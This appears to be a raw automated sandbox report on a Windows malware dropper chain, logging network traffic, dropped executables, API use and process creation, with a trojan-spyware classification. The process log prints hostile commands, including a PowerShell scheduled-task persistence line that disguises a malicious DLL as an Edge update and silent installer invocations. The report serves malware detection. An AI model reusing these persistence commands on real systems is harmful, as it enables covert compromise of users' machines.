Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.5:50219 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50223 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.193.91:443 -> 192.168.2.5:50226 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50225 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.182.143.212:443 -> 192.168.2.5:50228 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50230 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50231 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50232 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50267 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50266 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50269 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50270 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50271 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.23:443 -> 192.168.2.5:50327 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50378 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50379 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50377 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_0042EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

23_2_0042EAFF

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_0042ED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

23_2_0042ED6A

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

23_2_0042EAFF

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_0041AA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

23_2_0041AA57

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_00449576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

23_2_00449576

System Summary

Binary is likely a compiled AutoIt script file

Source: 1d003e9e16.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: 1d003e9e16.exe, 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_2beec6e9-e
Source: 1d003e9e16.exe, 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_1059b91d-4

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: ce23dfc9e9.exe.6.dr	Static PE information: section name:
Source: ce23dfc9e9.exe.6.dr	Static PE information: section name: .rsrc
Source: ce23dfc9e9.exe.6.dr	Static PE information: section name: .idata
Source: ce23dfc9e9.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 41266a11cd.exe.6.dr	Static PE information: section name:
Source: 41266a11cd.exe.6.dr	Static PE information: section name: .idata
Source: 41266a11cd.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: 813d0f4405.exe.6.dr	Static PE information: section name:
Source: 813d0f4405.exe.6.dr	Static PE information: section name: .idata
Source: 813d0f4405.exe.6.dr	Static PE information: section name:
Source: 46bc483599.exe.6.dr	Static PE information: section name:
Source: 46bc483599.exe.6.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_0041D5EB: CreateFileW,DeviceIoControl,CloseHandle,

23_2_0041D5EB

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_00411201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

23_2_00411201

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_0041E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

23_2_0041E8F6

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\skotes.job			Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF848894FFB	18_2_00007FF848894FFB
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003BBF40	23_2_003BBF40
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_00422046	23_2_00422046
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003B8060	23_2_003B8060
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_00418298	23_2_00418298
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003EE4FF	23_2_003EE4FF
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003E676B	23_2_003E676B
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_00444873	23_2_00444873
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003DCAA0	23_2_003DCAA0
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003BCAF0	23_2_003BCAF0
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003CCC39	23_2_003CCC39
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003E6DD9	23_2_003E6DD9
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003CB119	23_2_003CB119
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003B91C0	23_2_003B91C0
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003D1394	23_2_003D1394
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003D1706	23_2_003D1706
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003D781B	23_2_003D781B
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003B7920	23_2_003B7920
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003C997D	23_2_003C997D
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003D19B0	23_2_003D19B0
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003D7A4A	23_2_003D7A4A
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003D1C77	23_2_003D1C77
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003D7CA7	23_2_003D7CA7
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_0043BE44	23_2_0043BE44
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003E9EEE	23_2_003E9EEE
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003D1F32	23_2_003D1F32

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: String function: 003D0A30 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: String function: 003CF9F2 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: String function: 003B9CB3 appears 31 times

Source: SillyShelf[1].exe.6.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: SillyShelf.exe.6.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: SillyShelf.tmp.8.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: SillyShelf.tmp.8.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: SillyShelf.tmp.13.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: SillyShelf.tmp.13.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-HBCT4.tmp.14.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-HBCT4.tmp.14.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows

Source: is-K9C20.tmp.14.dr

Static PE information: Number of sections : 11 > 10

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9981745997956403
Source: file.exe	Static PE information: Section: pykcxpuc ZLIB complexity 0.9945338322566106
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981745997956403
Source: skotes.exe.0.dr	Static PE information: Section: pykcxpuc ZLIB complexity 0.9945338322566106
Source: random[1].exe.6.dr	Static PE information: Section: ezbvjsfb ZLIB complexity 0.9945978840295909
Source: ce23dfc9e9.exe.6.dr	Static PE information: Section: ezbvjsfb ZLIB complexity 0.9945978840295909
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.9974345090759076
Source: random[1].exe0.6.dr	Static PE information: Section: gvbnyfpp ZLIB complexity 0.9943956884824667
Source: 41266a11cd.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974345090759076
Source: 41266a11cd.exe.6.dr	Static PE information: Section: gvbnyfpp ZLIB complexity 0.9943956884824667
Source: random[1].exe2.6.dr	Static PE information: Section: roagfprl ZLIB complexity 0.9947655313810665
Source: 813d0f4405.exe.6.dr	Static PE information: Section: roagfprl ZLIB complexity 0.9947655313810665

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@129/47@48/17

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_004237B5 GetLastError,FormatMessageW,

23_2_004237B5

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_004110BF AdjustTokenPrivileges,CloseHandle,		23_2_004110BF
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_004116C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		23_2_004116C3

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_004251CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

23_2_004251CD

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_0041D4DC CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

23_2_0041D4DC

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_0042648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

23_2_0042648E

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_003B42A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

23_2_003B42A2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3140:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6568:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1844:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4688:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3424:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3868:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7128:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6000:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\regsvr32.exe	Mutant created: \Sessions\1\BaseNamedObjects\MUTEX
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5508:120:WilError_03
Source: C:\Windows\System32\regsvr32.exe	Mutant created: \Sessions\1\BaseNamedObjects\JL55FnNsh@T5

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\System32\regsvr32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: 41266a11cd.exe, 00000011.00000003.3078770573.0000000005666000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081261298.0000000005647000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3129200996.000000000566C000.00000004.00000800.00020000.00000000.sdmp, 813d0f4405.exe, 00000014.00000003.3295361666.000000001DA69000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3251392438.0000000005954000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3330107006.000000000595B000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3262392371.0000000005935000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

Virustotal: Detection: 42%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe "C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe "C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe"
Source: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe	Process created: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp "C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp" /SL5="$80070,1389145,140800,C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe"
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C timeout /T 3 & "C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe" /VERYSILENT /SUPPRESSMSGBOXES
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /T 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe "C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe" /VERYSILENT /SUPPRESSMSGBOXES
Source: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe	Process created: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp "C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp" /SL5="$2044A,1389145,140800,C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe" /VERYSILENT /SUPPRESSMSGBOXES
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Process created: C:\Windows\SysWOW64\regsvr32.exe "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll"
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe "C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe "C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{295868A1-856A-4FAB-F42C-F90738AE0C77}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe "C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe"
